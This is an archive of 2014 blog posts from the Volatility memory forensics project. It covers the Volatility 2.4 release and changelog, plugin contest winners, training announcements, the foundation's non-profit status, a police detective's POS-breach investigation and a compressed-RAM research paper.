Wednesday, December 31, 2014

Acquiring Memor(ies) from 2014

2014 is extremely volatile. Any minute now, it will be gone. Thus, we wanted to take a minute and preserve some of the more exciting memories. Specifically, we wanted to summarize how the memory forensics field and Volatility community has progressed this year.
  • Volatility 2.4 was released - our most stable and fully featured code base, supporting all of the major versions of Windows, Linux, and Mac. The release includes Windows 8 and Server 2012 support, despite the encrypted debugging structures. Windows 10 beta support is also available.
  • We also moved to Github, which makes it easier for other developers to submit patches and pull requests. A separate repository stores Linux and Mac profiles. The 2.5 release is also under way. 
  • Extraction of TrueCrypt cached passwords and master keys become even easier than it was before, with new plugins that execute a structured approach at locating and recovering the data. The capability was also ported to Linux, and a member of the community completed a similar plugin for dm-crypt.
  • Our 5-day hands-on Malware and Memory Forensics training course proliferated to over 10 events (public and private) across the United States, Europe, and Australia. Testimonials from attendees are available here and registration is open for classes in 2015.
  • The Volatility Foundation was established as a 501(c)(3) non-profit organization. A new website was created to aggregate the foundation's resources. Among other things, the site describes the various ways to get involved with the community. The Volatility(R) name also became a registered trademark of the Volatility Foundation.
  • Volexity, LLC became a corporate sponsor of the Volatility Foundation and named core developer Michael Hale Ligh as its CTO. Volexity is a security firm based out of the Washington, D.C. area that specializes in assisting organizations with threat intelligence, incident response, forensics, and trusted security advisory.
  • The Volatility Plugin Contest received an extremely generous donation from Facebook and generated an enormous amount of new capabilities from various talented developers and researchers. 
  • The Volatility Team partnered with GMG Systems, Inc. to offer KnTTools (incl. KnTDD) at a discounted rate to students in our training course. KnTTools is the most reliable, robust, and fully featured memory acquisition suite for Windows. 
  • Volatility and memory forensics were represented at almost all security and technology related conferences, including (but not limited to) Blackhat USA, Defcon, OMFW, OSDFC, API Cybersecurity, SecTor, Archc0n, Alabama Cyber Security Summit, National Cyber Crime Conference, RSA USA, BSides, and Recon.
  • Volatility was used by Det. Michael Chaves to track down high profile ATM skimmers. It was used by European law enforcement to produce the primary source of evidence that put away a child sex offender for over 10 years. It was used by the United States Government on various occasions to investigate cases involving espionage, cyber terrorism, and major botnet rings.
  • Volatility developer Andrew Case and Golden G. Richard III won best paper at DFRWS 2014 for In lieu of swap: Analyzing compressed RAM in Mac OS X and Linux.
  • We enjoyed a record breaking number of attendees at Open Memory Forensics Workshop (OMFW) 2014 and a serious group of awesome talks. Later that week, Next Generation Memory Forensics was presented at OSDFC
  • The Art of Memory Forensics was published in August, a 900-page book that covers Windows, Linux, and Mac topics in depth. To date, its the most thorough and illustrative written source of memory forensics knowledge. Please remember to check the errata page and also the sample memory images that are accompanied with lab questions and answers (free online download). 
  • A Reddit Ask Me Anything (AMA) was conducted on Art of Memory Forensics. We appreciate all the great questions!  
  • An entire chapter of Black Hat Python was devoted to using Volatility for offensive purposes during pentests (extracting password hashes, injecting code, etc). 
  • We presented some Volatility capabilities at Blackhat Arsenal and later created a YouTube channel with recordings of the demos. There was also a book signing in the Blackhat bookstore, which was an exciting way for us to meet new Volatility users in person.
 Thanks to all who played a part! We look forward to an even more productive 2015!

Wednesday, October 29, 2014

Announcing the 2014 Volatility Plugin Contest Results!

The competition this year was fierce! We received a total of nearly 30 plugins to the contest. Ranking the submissions was one of the hardest things we’ve had to do. Each plugin is unique in its own way and introduces a capability to open source memory forensics that didn’t previously exist. Although a few people will receive prizes for their work, the real winners in this contest are the practitioners and investigators in the community that perform memory forensics. We’re talking about the federal government who used Volatility on some of the nation’s most prominent cases and the law enforcement groups that used it as the primary tool to force a child pornographer into a guilty plea (see you in about 10 years, wish it were more!). We’re talking about Det. Michael Chaves who used memory forensics to help crack a case involving POS breaches that lead to losses of over $100K. We’re talking about all the analysts who rely on open source forensics to identify and track malicious code and threat actors in their networks and those of their clients. 

Needless to say, we're very proud of everyone who submitted to the contest. Also a huge thanks goes out to Facebook for doubling the contest's cash prizes and supporting the research and development  of open source memory forensics. 

Here are this year’s rankings:
  1. Dave Lasalle wins first place and his choice of $2500 or free training. Dave submitted 14 plugins for recovering Firefox and Chrome activity (history, search terms, cookies, downloads) from memory, carving Java IDX files, and using fuzzy hashing to whitelist injected code and API hooks. 
  2. Curtis Carmony wins second place and $1250 for his plugin to extract dm-crypt disk encryption keys from Linux (and potentially Android) memory dumps.
  3. Adam Bridge wins third place and $750 with editbox – a plugin to recover the text within edit controls of GUI applications on Windows (including but not limited to notepad contents, username and password fields, browser URL and search forms, etc). 
  4. Thomas Chopitea wins fourth place for his autoruns plugin that enumerates automatically starting applications on Windows systems – a common first step in many different types of investigations.
  5. Takahiro Haruyama wins fifth place with openioc_scan, a plugin that combines the flexibility of the IOC language with the power of Volatility to give analyst’s quick and easy malware triage capabilities.

Here is a detailed summary of the submissions. We've included a link to the respective submissions on the Volatility Foundation website for archive purposes, however we recommend getting the code from the author's own GitHub repositories if that option exists. If you have feedback for the authors, we're sure they'd love to hear your thoughts.

(1st) Dave Lasalle: Forensic Suite

Dave’s 14 plugins are immediately useful for various different scenarios, from tracking user activity to parsing special file formats and whitelisting injected code and API hooks.

Previously, if you needed to inspect a suspect or victim’s browsing activity from memory in a structured manner (i.e. not brute forcing with regular expressions), you were limited to the iehistory (Internet Explorer) plugin. Now you can do the same, and more, for Firefox and Chrome. The two browsers use sqlite3 databases, but due to several reasons (including paging), you’re not likely to succeed in carving complete sqlite3 files from memory. Dave’s plugins leverage his sqlite3 memory API, which handles missing chunks of database files gracefully.

Dave’s Twitter: @superponible
Dave’s GitHub:
Dave's Blog:
Dave’s Submission:

Most wanted follow up(s): A plugin to extract the most recent Internet Explorer history records.  Porting Firefox and Chrome plugins to Linux and Mac memory dumps. 

(2nd) Curtis Carmony: Dmcrypt

The dm_dump plugin brings an exciting new capability to open source memory forensics. In his own words, “given a memory dump from a Linux system using full disk encryption and access to the disk, the output of this plugin gives you the arguments to pass to the dmsetup command to remount the original unencrypted file system on a different machine.” In addition, Curtis provided support for Linux kernels 3.0 to 3.14 and instructions on how to extend Volatility’s profile generation mechanism for future systems.

A unique aspect of this plugin is that the data it recovers can only be found in RAM. As such, it accomplishes something that no form of disk or network forensics can do and it really showcases the power of memory forensics. Similar to the existing truecrypt plugins, the dm_dump plugin works by traversing the internal data structures used by device-mapper to keep track of its devices. Thus it pinpoints the data in memory without scanning for constants or patterns in key schedules.

Curtis’ GitHub:
Curtis’ Submission:

Most wanted follow up(s): Testing the methodology on Android disk encryption. 

(3rd) Adam Bridge: Editbox

Adam’s submission provides powerful new capabilities for tracking suspect user activity. It recovers text from EditBox controls in the GUI subsystem, with experimental support of ComboBox and ListBox. As a result, it can extract the following data types:
  • Notepad window.
  • Run dialog.
  • Username and server name fields of Remote Desktop Connection.
  • Address bar and search bar of Internet Explorer.
  • Search bar of Windows Media Player.
  • Username field of Create New Account wizard.
  • Password of Change Password dialog.
In general, it is effective on any applications that leverage Microsoft's Common Control APIs. This plugin is particularly interesting, because the data it recovers is not available anywhere besides RAM. On a multi-user system, there would be no way to collect the data this plugin enumerates without logging into each account and taking a screen shot.

Adam’s Twitter: @bridgeythegeek
Adam’s Submission:

Most wanted follow up(s): Integration of edit box labels into the screenshot plugin.

(4th) Thomas Chopitea: Autoruns

In Thomas' own words, "Finding persistence points (also called "Auto-Start Extensibility Points", or ASEPs) is a recurring task of any investigation potentially involving malware." The plugin currently covers several of the most common registry locations, including services, appinit DLLs, winlogin notification packages, and scheduled tasks. After finding ASEPs, the plugin matches them with running processes in memory.

Thomas’ Twitter: @tomchop
Thomas’ GitHub:
Thomas’ Blog:
Thomas’ Submission:

Most wanted follow up(s): Adding Linux and Mac support.

(5th) Takahiro Haruyama: OpenIOC Scan

This plugin combines the flexibility of the IOC language with the power of Volatility to give analyst’s quick and easy malware triage capabilities. Takahiro solved several problems that he (and most certainly other analysts) faced when using the existing tools, such as ability to automate the tasks outside of a GUI and scan for terms with regular expressions and case sensitivity. Takahiro’s blog (below) shows several practical examples of quickly finding malicious code in memory. We’re really excited for investigators to start taking advantage of Takahiro’s work.

Takahiro’s Twitter: @cci_forensics
Takahiro’s Blog:
Takahiro’s Submission:

Most wanted follow up(s): A repository of memory related indicators. Also for performance reasons, using the Registry API to scan for keys, values, etc.

The following submissions appear in the order they were received. As previously mentioned, everyone succeeded in solving a specific problem that they (and undoubtedly others) faced. For this, they deserve huge props. We look forward to seeing future work by these authors!

Monnappa KA: Gh0stRat Decryption  

Monnappa’s plugin focuses on detecting and analyzing Gh0stRat in memory. In his own words, “Gh0stRat is a RAT (Remote Access Trojan) used in many APT/targeted attacks. This plugin detects the encrypted Gh0stRat communication, decrypts it and also automatically identifies the malicious Gh0stRat process, its associated network connections and the loaded DLL's. This can help the digital forensic investigators and incident responders to quickly narrow down on the Gh0stRat artifacts without having to spend time on the manual investigation.”

Although a chopshop module exists for decrypting Gh0stRat communications in packet captures, Monnappa’s Volatility plugin aims to solve several specific problems that analysts may regularly face, including the absence of a full packet capture from the victim machine and needing to trace connections in the pcap back to the suspect process or DLL.

Monnappa’s Twitter: @monnappa22
Monnappa’s Submission:

Most wanted follow up(s): Continued research into other malware families.

Jamaal Speights: MsDecompress

The msdecompress plugin by Jamaal Speights has high potential. It allows investigators to find and extract data compressed with the LZNT1 algorithm (Xpress and XpressH coming soon) from memory dumps and it reports the process in which the data was found. The RtlDecompressBuffer API is heavily used by malware authors to pack their code and minimize the size of command and control traffic before sending it across the network. Many kernel components and popular applications also use this compression algorithm, and we look forward to hearing about all the types of forensic evidence that can be uncovered using this plugin.

Jamaal’s Twitter: @jamaalspeights
Jamaal’s Blog:
Jamaal’s Code: 
Jamaal’s Submission:

Most wanted follow up(s): An analysis of the different types of compressed data frequently found in memory.

Cem Gurkok: Mac Rootkit and Bitcoin

Cem submitted a total of four plugins: two for detection of rootkit hooks in Mac OSX memory, one for in-depth investigation of Mac OSX threads, and one for finding bitcoin private keys and addresses.
  • mac_bitcoin allows for recovery of bitcoin keys and addresses. This can greatly help investigators that need to determine which transactions and activity a particular user was involved with. Due to the nature of bitcoin, this activity can be very well hidden within the network and only examination of a user’s system can put the pieces back together
  • The mac_check_call_reference plugin is used to check for modified call instructions in the kernel. This can catch a wide array of rootkits that directly modify control flow in order to manipulate the system.
  • The mac_threads plugin is able to enumerate threads of each running Mac task. The examination of thread state can lead to determination of which portions of code a thread was using and which operations it performed. This capability had been missing from Volatility’s Mac support while being supported by the Windows and Linux side in the last two releases.
  • mac_check_shadow_trustedbsd enables the detection of rootkits that modify a reference to the TrustedBSD policy list. Such a modification can allow a rootkit to add, modify, and delete system activity returned to other kernel components and user land tools that rely on TrustedBSD for a set of system state.
Cem’s Twitter: @CGurkok
Cem’s GitHub:
Cem’s Blog:
Cem’s Submission: and

Most wanted follow up(s): Support for bitcoin addresses found in any process (not just Multibit) on any memory dump (Windows, Linux, Mac) and also in free/deallocated memory.

Csaba Barta: Malware Analysis 

The plugins in this submission are focused on helping analysts perform malware investigations and malware research.  The first set of plugins highlight the differences between an infected memory sample and its baseline image.  This can help an analyst quickly determine the types of changes the malware has made to the system.   The current plugins focus on four important components of the operating system: processes,  DLLs, services, and drivers.  The final plugin, malprocfind, attempts to codify the rules an investigator may use to look for suspicious artifacts on a system.   The plugins help automate common analysis techniques used by analysts during malware investigations.

Csaba’s GitHub:
Csaba’s Submission:

Most wanted follow up(s): Further extension of the baseline artifacts and malprocfind rules.

Philip Huppert: OpenVPN 

Philip’s submission is the result of his University paper “Extracting private information of virtual machines using VM introspection.” In the paper, Philip described how to recover openvpn 2.x.x usernames and passwords entered by the user in addition to the password required for unlocking the private key. The submission also includes a plugin to extract base64/PEM encoded RSA private keys from memory.

The openvpn plugin is effective against any memory dump format (not just live VM memory using libvmi). Philip also did a really nice job of narrowing the search space for finding the usernames and passwords. He isolates the .data and .bss segments of openvpn.exe and looks for signs of a specific data structure (named “user_pass”).

Philip’s GitHub:
Philip’s Submission:

Most wanted follow up(s): A summary of the steps for decrypting an openvpn session from a packet capture, given the private key.  Also the ability to scan for the data structures in physical space (for example if the openvpn.exe process is no longer running).

Wyatt Roersma: Hyper-V Tools

Wyatt’s plugins will extract Hyper-V artifacts from a host system’s memory.  The first plugin hpv_vmconnect is used to extract information about which users were accessing virtual machines using the virtual connect console. The second plugin, hpv_vmwp, is used to map each virtual machine to its associated process on the host and extract temporal information about when the machine was started last. The final plugin hpv_clipboard is used to extract memory resident Hyper-V clipboard and hotkey artifacts. The plugins provide some insights into the types of artifacts that can be extracted from Hyper-V host memory and set the stage for future research.

Wyatt’s Twitter: @WyattRoersma
Wyatt’s Blog:
Wyatt’s GitHub:
Wyatt’s Submission:

Most wanted follow up(s): Further research into other Hyper-V artifacts and conversion tools.

Sunday, October 19, 2014

Memory Forensics Training in Amsterdam

We are excited to announce that the next Europe-based Malware and Memory Forensics Training by The Volatility Project will take place in Amsterdam (August 31st - September 4th, 2015). Our last class in Amsterdam sold out, so sign up early to reserve your seat. You can register by sending an email to voltraining [at] memoryanalysis [dot] net or by requesting an invite here.

Here's what some of our students from the Reston 2014 class said about the training:
"The deepest, most thorough technical course I have ever taken - not only did I learn how to use one of the best memory analysis tools available, I learned an incredible amount of Windows internals. Most important, I understand both enough to extend the functionality to meet any future requirements. Highly recommended - immediately useful and practical information to use in any incident response and malware analysis work!" - James P. 

"The Volatility course is absolutely excellent and should be taken by any individuals performing IR services and forensics. The course covers  not only the Volatility Framework, but the inner workings of malware and how it interacts with the Windows OS." - Kyle P (Sr. Digital Forensic Examiner)

"Amazingly useful information. If you do forensic work, you need to understand and use memory forensics. This course is the best one I've seen so far." - Anonymous 

"Excellent course. Instructors are knowledgeable, technical, and present the material very well. This course will expand your skills and help you see all the valuable data that you can gather. One of the best courses I've been to" - Chad W. (SOC Analyst)

Friday, October 3, 2014

Windows Malware and Memory Forensics Training in April and May 2015

We're excited to announce the dates and locations for two new public offerings of Windows Malware and Memory Forensics Training by The Volatility Project.

The following courses are now open for registration:
  • December 8th - 12th, 2014 in Austin, TX 
  • January 12th - 16th, 2015 in San Francisco, CA
  • February 2nd - 6th, 2015 in São Paulo, Brazil 
  • April 13th - 17th, 2015 in Reston, VA (NEW)
  • May 11th - 15th, 2015 in New York, NY(NEW)
You can request an invite through our web form or contact us via voltraining @ memoryanalysis [dot] net. Stay tuned for the next Europe-based training event.

Also, students in our Australia class wanted to share some of their feedback with you:
Very technical and in-depth course covering windows internals from memory. The best course I've taken so far in my entire career.
Fernando (DFIR/Malware Analyst)

Be ready to have your mind blown!
Dion W. (Incident Responder)

Invaluable for law enforcement and cyber crime investigators.
Jon C. (Australian Federal Police)
We look forward to meeting all the talented analysis and investigators that attend our classes!

Tuesday, September 30, 2014

The Volatility Foundation: Fighting for Open Source Forensics

We are excited to announce that the Volatility Foundation was officially granted 501(c)(3) status by the IRS and the application was approved in less than a year.  This comes as great news when you consider the recent “BOLO” list controversies and the Yorba situation.  We believe this is an encouraging sign for the future of free and open source software. 

As an added benefit of the Volatility Foundation’s new status, supporters can now make tax-exempt donations to the foundation! Based on your generosity and the hard work of our developers, Volatility will continue to develop innovative software and fight against those who exploit open source forensics developers!

Shouts to Patrick and the Volatility legal team! We would also like to thank the IRS for their swift response.

Wednesday, September 17, 2014

Detective Michael Chaves Shares A Memory Forensics Success Story

Detective Michael Chaves from the Monroe CT Police Department shares the following story regarding his experiences with Memory Forensics, Volatility Training, KnTTools, and POS breaches. Michael was also recently quoted in Brian Krebs' article Card Wash: Card Breaches at Car Washes for the key role that he played in that investigation.

Shouts to Michael - keep up the great work!
Before attending this class I had a strong digital forensic background, but lacked an understanding of the "under the hood" workings of RAM and the stuff running in RAM.  I knew I was in for a challenge and boy did I get one.  I always had a desire to learn about memory analysis and I had some knowledge of what it contained, but it was the significant increase in POS breaches that I was investigating that I realized I needed this class sooner than later.

After taking this class in May of 2014 I began investigating a POS breach involving a local business chain.  The chain was a Common Point of Purchase for thousands of credit/debit that were compromised that lead to more than $100,000 in losses from fraudulent use. From the class, I learned of a new memory acquisition tool from GMG Systems, Inc. called " KnTTools".  I tested it out and found it to be an extremely reliable, fast and efficient program that has a very small footprint.  I used KnTTools to acquire numerous RAM dumps from several locations.

Now came the time to figure out what I had.  Going in blind, not knowing where to look or even what I was looking for was a daunting task.  Referring to my notes and the student handbook, I began to use Volatility to try and understand what I had.  I began to use plugins such as pslist, psxview, malfind, apihooks and connections and I started to get some information to look more into.  Understanding the PID/PPID relationship and what process should call another was very helpful.  Working with the business I learned what programs were legit and white listed them.  This was important to me since I did not know what programs and applications were supposed to be running on those computers.  I located three running processes that turned out to be malware.  I used dlllist, dlldump, procdump and dumpfiles to extract out the processes, files and dll's and ran strings on them.  From there I located great information including the POST/GET commands that show where the cards were going to... BINGO!

I located the same malware on ALL other RAM acquisitions.  Although I do not know exactly how the malware got onto the system or fully how it works, I located the necessary information I needed to proceed with my investigation. Without this class or the Volatility tool, I would never have been able to further my investigation.  Volatility is a game changer in memory forensics.  With more and more POS breaches being reported every day both on a local and national scale, responders need the ability to efficiently and effectively analyze the RAM where the malware attempts to run.... and hide.  But you can't hide from Volatility!

Thursday, September 4, 2014

Volatility 2.4 at Blackhat Arsenal - Defeating Truecrypt Disk Encryption

This video shows how to use Volatility’s new Truecrypt plugins to defeat disk encryption on suspect computers running 64-bit Windows 8 and server 2012.

The video is narrated by Apple's text to speech and you can find the actual text on the Youtube page. The live/in-person demo was given at the @Toolswatch Blackhat Arsenal.

Wednesday, September 3, 2014

Facebook Donation Doubles the Volatility Plugin Contest Prizes

As mentioned earlier this week, we have a very exciting announcement to share. One of the primary reasons we extended the deadline for the 2014 Volatility Plugin Contest to October 1st is due to an extremely generous donation from Facebook. Facebook's sponsorship doubles the total cash prizes from $2250 USD to $4500 USD!

As mentioned on the Volatility Tumblr: If you have already submitted to the contest, you can use this extra time to fine-tune your submission. If you were considering submitting, you now have an extra month to demonstrate your creativity and implement an innovative, interesting, and useful Volatility extension!

It’s great to see some of the largest companies in the world showing their support for and giving back to the memory forensics community! Thank you, Facebook, and good luck to all participants in the contest - the stakes have literally just doubled!

Monday, September 1, 2014

Heads Up! 2014 Volatility Plugin Contest Deadline Extended!

Good news folks. Due to a very exciting and unexpected development, we're extending the deadline for the 2014 Volatility Plugin Contest to October 1st, 2014.

This not only gives you an extra month to work on your plugins, but the reason for the extension (to be announced later this week) will directly impact the contest winners.

Wednesday, August 27, 2014

Volatility 2.4 at Blackhat Arsenal - Reverse Engineering Rootkits

This video demonstrates how you can leverage Volatility and memory forensics to detect kernel rootkits, assist with reverse engineering, and use the results for developing additional indicators.

The video is narrated by Apple's text to speech and you can find the actual text on the Youtube page. The live/in-person demo was given at the @Toolswatch Blackhat Arsenal.

Thursday, August 21, 2014

Volatility 2.4 at Blackhat Arsenal - Tracking Mac OS X User Activity

This demo shows how to track Mac OS X user activity by examining artifacts in physical memory with Volatility. 

The video is narrated by Apple's text to speech and you can find the actual text on the Youtube page. The live/in-person demo was given at the @Toolswatch Blackhat Arsenal.

Monday, August 18, 2014

New Volatility 2.4 Cheet Sheet with Linux, Mac, and RTFM

Our Windows Malware and Memory Forensics Training class is intense and rigorous, because its designed to reflect real world investigations. When you have a limited amount of time and you're being pressured for reliable answers - every minute counts. Sometimes you just gotta cheat...and when you do, you might as well use an Official Volatility Memory Analysis Cheat Sheet!

The 2.4 Edition features an updated Windows page, all new Linux and Mac OS X pages, and an extremely handy RTFM-style insert for Windows memory forensics.

For in-depth examples and walk-throughs of using the commands in this cheat sheet, make sure to get your copy of The Art of Memory Forensics!

Thursday, August 14, 2014

New Paper: In Lieu of Swap: Analyzing Compressed RAM in Mac OS X and Linux

A research paper (slides here) that I worked on with Golden G. Richard was recently published at DFRWS 2014 and received the Best Paper award! The paper, In Lieu of Swap: Analyzing Compressed RAM in Mac OS X and Linux, analyzed the in-memory, compressed swapped stores on recent Mac and Linux versions.

As you are likely aware, operating systems will traditionally swap unneeded pages out to disk in order to free the pages for currently running applications to use. This swapping process has historically presented issues for forensics analysis as attempting to acquire both physical memory and the swap file(s) in a consistent state can be a daunting task outside of virtual machine environments. Furthermore, Mac has provided encrypted swap (Secure virtual memory) since Mountain Lion and Linux users could optionally utilize encrypted swap for years. Similarly, Windows has the EncryptPagingFile option that can be turned on by administrative users. Recovering the keying materials for these encrypted stores can require modification to existing acquisition tools as well as specialized research.

A new advancement in operating system design, the creation of memory-only, compressed swap stores, presents both challenges and opportunities for memory forensics practitioners. When enabled, these stores attempt to avoid writing swapped pages to disk for performance reasons and instead compresses and stores them into a reserved pool of memory. When a page is later recalled from the pool, a simple decompression operation is all that is needed to be performed. This is much quicker than reading from even the fastest PCI-E storage provided by Apple devices.

At first, this store can be challenging to investigators as simple methods of investigation, such as strings analysis or file carving, will fail since the data is in its compressed state. This store can be helpful though as normal physical memory capture techniques will completely collect the store. This is opposed to traditional swap collection that required timing memory acquisition with disk acquisition to avoid smearing.

The paper presents the algorithms used by both Mac and Linux to implement the compressed stores. We also describe our Volatility plugins that can fully locate and decompress all pages kept within the stores. Finally, we present data sets from sample machines that we tested the plugins and analysis on.

If you have any questions on the paper feel free to reach out to either myself or Golden.

Wednesday, August 13, 2014

Presenting Volatility Foundation Volatility Framework 2.4

The release of this new Volatility version coincides with the publication of The Art of Memory Forensics. It adds support for Windows 8, 8.1, 2012, and 2012 R2 memory dumps, Mac OS X Mavericks (up to 10.9.4), and Linux kernels up to 3.16. New plugins include the ability to extract cached Truecrypt passphrases and master keys from Windows and Linux memory dumps, investigate Mac user activity (such as pulling their contact database, calendar items, PGP encrypted mails, OTR Adium chat messages, etc), and analyze advanced Linux rootkits. See below for a detailed change log.

Binary releases, including pre-built executables for Windows and Mac OS X can be found on the Volatility Foundation website: We've also now moved our source code repository to Github: Note that there's a separate repository containing over 160 Linux profiles for 32- and 64-bit OpenSuSE, Redhat, Debain, Ubuntu, Fedora, and CentOS (thanks Kevin!); and all Mac OS X profiles from 10.5 to 10.9.4. 

The detailed change log is below:

Windows Memory Forensics 
  • Truecrypt plugins (summary, cached passphrases, master keys)
  • Apihooks support for 64-bit memory images 
  • Apihooks plugin detects JMP FAR hook instructions 
  • Hashdump, Cachedump, and Lsadump plugins updated for x64 and Win8/2012
  • Callbacks and timers plugins work on 64-bit memory images 
  • Mftparser identifies NTFS alternate data streams 
  • Mftparser -D option extracts MFT-resident files to disk
  • Ability to scan for multiple executive object types concurrently with a single pass through the memory dump 
  • Procmemdump and procexedump condensed into "procdump" (and --memory option available)
  • Envars plugin has a --silent flag to ignore common/default environment variables 
  • Vadtree plugin in graphviz output mode (--output=dot) color codes nodes per heap, stack, mapped file, DLL, etc.
  • Getsids plugin automatically resolves user and service SIDs 
  • Timeliner plugin supports --machine to identify the source in multi-source timelines 
  • Verinfo (PE version info) plugin updated and moved into core framework 
  • Strings translator prints "FREE MEMORY" for data found in deallocated regions (used to skip them)
  • Vadinfo plugin allows --addr to specify one region rather than printing them all 
  • Yarascan plugin allows you to control --size (bytes in preview) and --reverse (show data *before* a hit)
  • Volshell plugin has new APIs proc(), addrspace(), getprocs(), and getmods() for easy access
  • All process based plugins accept --name (process name regular expression filter)
  • Added the auditpol plugin to check audit policies 
  • Added the cmdline plugin to show process command line arguments 
  • Volshell plugin can recursively print structure members (similar to windbg's dt /r)
  • New pooltracker plugin allows analysis of kernel pool tag statistics 
  • New bigpools plugin allows finding big page pool allocations 
  • Svcscan plugin prints service start type (manual, automatic, disabled, etc)
  • Added a plugin to find and print text on the Notepad application's heap
  • PE dumping plugins (procdump, dlldump, moddump) support --fix to fix the image base value 
  • Joblinks plugin for getting information for job objects
Address Spaces / File Formats
  • Support for QEMU virtual machine memory images 
  • Support for "split" VMware files (memory in .vmem and metadata in .vmss/.vmsn)
  • Support for Windows BitMap crash dumps (created by Windows 8 / 2012 on BSOD)
Mac Memory Forensics 
  • Support for Mavericks through 10.9.4
  • Mac string translation added 
  • Recover sent and received Adium messages, including those protected by OTR 
  • Enumerate contacts from the Contact application's database
  • Extract the HTML content of notes from the Notes application 
  • Ability to reveal clear-text PGP emails sent or received with the Mail application 
  • Locate Apple Keychain encryption keys in memory (for cracking with Chainbreaker)
  • Find API hooks in both the kernel and process memory
  • List IP and socket filters
  • Extract loaded kernel extension to disk
  • Find suspicious process mappings (i.e. injected code) 
  • Find hidden kernel extensions
  • Recovered files cached in memory
Linux Memory Forensics 
  • Support for Linux kernels through 3.16
  • Linux string translation added
  • Detect API hooks in both userland processes and the kernel
  • Detect GOT/PLT overwrites
  • Find hollowed executables
  • Find suspicious process mappings
  • Library listing using the loader’s data structures
  • Extract process ELF executables and libraries to disk
  • List network interfaces in promiscuous mode
  • List processes that are using raw sockets
  • Find hidden kernel modules
  • List Netfilter hooks
  • Extract cached Truecrypt passphrases 

Tuesday, August 12, 2014

Art of Memory Forensics Picture Contest Winners!

If we were running a book picture contest, these would be the winners. Keep in mind, we actually do have a contest brewing where you can win large cash prizes and/or free training, Volatility swag, etc.

The following "retro cover" was submitted by Didier Stevens (@DidierStevens).

The following "I'm too sexy for my book" was submitted by Jonathan Zdziarski (@JZdziarski).

The following "white sangria and object headers" was submitted by Erika Noerenberg (@gutterchurl).

The following was submitted from The Disassembler (@Disassembler).

The following "don't leave home without it on ALL your devices" was submitted by Dennis York (@LDRydr). 

The following "third eye wide open" was submitted by Golden G. Richard (@nolaforensix).

The following "back from defcon" was submitted by Mariano Graziano (@emd3l). 

The following was submitted by Bob Dobalina (@northTtown) - not sure what this is, but it looks interesting. 

The following "part of the cannon" was submitted by Troy Larson. 

The following was submitted by Brian Moran (@brianjmoran).

The following "twins, almost" was submitted by by Andy Magnusson.

The following "Volatility, on the job" was submitted by Ken Pryor (@KDPryor). I thought I'd only see AMF in an officer's car if I got arrested while holding it!

The following "Vanity, thy name is @moyix" was submitted by Brendan Dolan-Gavitt (@moyix).

The following was submitted by Frankie Li (@Espionageware).

The following was submitted by Andrew Case (@attrc).

We'd love to see other readers in action with the book! Tweet them to @volatility to enter the contest (be aware, there are no prizes, except smiles).

Thursday, July 31, 2014

Announcing Windows Malware and Memory Forensics in Austin, San Francisco, and Brazil!

Along with the release of The Art of Memory Forensics, we are very happy to announce that we now have the following new Malware and Memory Forensics trainings scheduled:
This is the only memory forensics course officially designed, sponsored, and taught by the Volatility developers. One of the main reasons we made Volatility open-source is to encourage and facilitate a deeper understanding of how memory analysis works, where the evidence originates, and how to interpret the data collected by the framework's extensive set of plugins. Now you can learn about these benefits first hand from the researchers and developers of the most powerful, flexible, and innovative memory forensics tool.

Michael Ligh (@iMHLv2), Andrew Case (@attrc), and Jamie Levy (@gleeda)
Information on each instructor can be found here.

Registration Process
To request a link to the online registration site or to receive a detailed course agenda/outline, please send an email voltraining [[ at ]] or contact us through our web form.

Past Reviews
Many past reviews of the course can be found on our website here as well as a previous blog post here. We also have some additional feedback from our recent courses:

"Wonderful and mind blowing course" - Lakshmi R., Incident Response 

"that was the best training week that I have spent in my entire career" - Sean M. 

"As relevant (if not more) than any disk based forensics course. Should be required for incident responders / digital forensics investigators" - Christian R., Senior Member of Technical Staff

"A top-notch and highly skilled team presents students with more vaulable information and insight than any other source of info - effectively using the premier memory analysis tool" - Matthew G. 

"This was the most in-depth forensic course I've ever taken. The instructors are top notch and really know the material and concepts behind it. If you're serious about protecting your network, you need to take this course." - Ryan G.

"This is the best forensics training I have ever participated in. You don't just learn what commands to blindly punch in; you gain deep insight into Windows internals, understand how malware can subvert the OS, and how to detect these abuses. Also tons of stuff I can bring home to continue training and apply to my work." - Christian B.

"I've done my share of courses; yours has it all: "wow" factor in class, great expectations, great labs." - Jorge C., IT Security Expert

Monday, July 7, 2014

Volatility at Black Hat USA & DFRWS 2014

Due to another year of open research and giving back to the open source community, Volatility will have a strong presence at both Black Hat USA and DFRWS 2014. This includes presentations, a book signing, and even a party!

At Black Hat, the core Volatility Developers (@4tphi, @attrc, @gleeda, @iMHLv2, and Mike Auty) will be partaking in a number of events including:
  • Releasing Volatility 2.4 at Black Hat Arsenal: This release includes full support for Windows 8, 8.1, Server 2012, and Server 2012 R2, TrueCrypt key and password recovery modules, a switch to GitHub hosting, as well as over 30 new Mac and Linux plugins for investigating malicious code, rootkits, and user activity. 
  • Releasing The Art of Memory Forensics: AMF is over 900 pages of memory forensics and malware analysis across Windows, Mac, and Linux. It will be available for the first time in the bookstore during the pre-conference trainings and briefings.
  • Book Signing for AMF: On Wednesday, August 6th at 3:15PM, in the Black Hat book store, we will be on site for signing books. 
  • Volatility Happy Hour sponsored by The Hacker Academy: This will be an open bar party where you can meet our team, bring books to be signed, and get stickers, t-shirts, and other Volatility swag all while enjoying tasty beverages. You must register (free) if you wish to attend!

Friends of Volatility will also be leading a number of events at Black Hat including Briefing presentations from Silvio Cesare and Andrew Hay and Arsenal demos from Joe Grand, Vico Marziale, Joe Sylve, David Cowen, and Jeff Bryner

At DFRWS, Dr. Golden Richard (@nolaforensix) will be presenting a paper that he and I wrote: In Lieu of Swap: Analyzing Compressed RAM in Mac OS X and Linux. In this paper, we discuss the in-memory, compressed swap facilities of Mac OS X and Linux, their impact on memory forensics investigations, and how we developed Volatility plugins to decompress the caches transparently during the operation of Mac & Linux analysis plugins. 

We hope to see everyone at these events, and we are looking forward to an exciting August! 

Tuesday, May 27, 2014

Volatility - Update All The Things

The Art of Memory Forensics

Our book is cleared for release at the Blackhat USA conference this August. You can preorder hard copies and Kindle editions on Amazon now. Huge thanks to our publisher, Wiley, for allowing us to exceed 900 pages after we initially estimated 650...without raising the price of the book.

Malware and Memory Forensics Training

Corey Harrell (@corey_harrell) shared a few words about his recent experience in our training class on his blog (not to mention a really nice analysis of using timelines to analyze malware infections). 
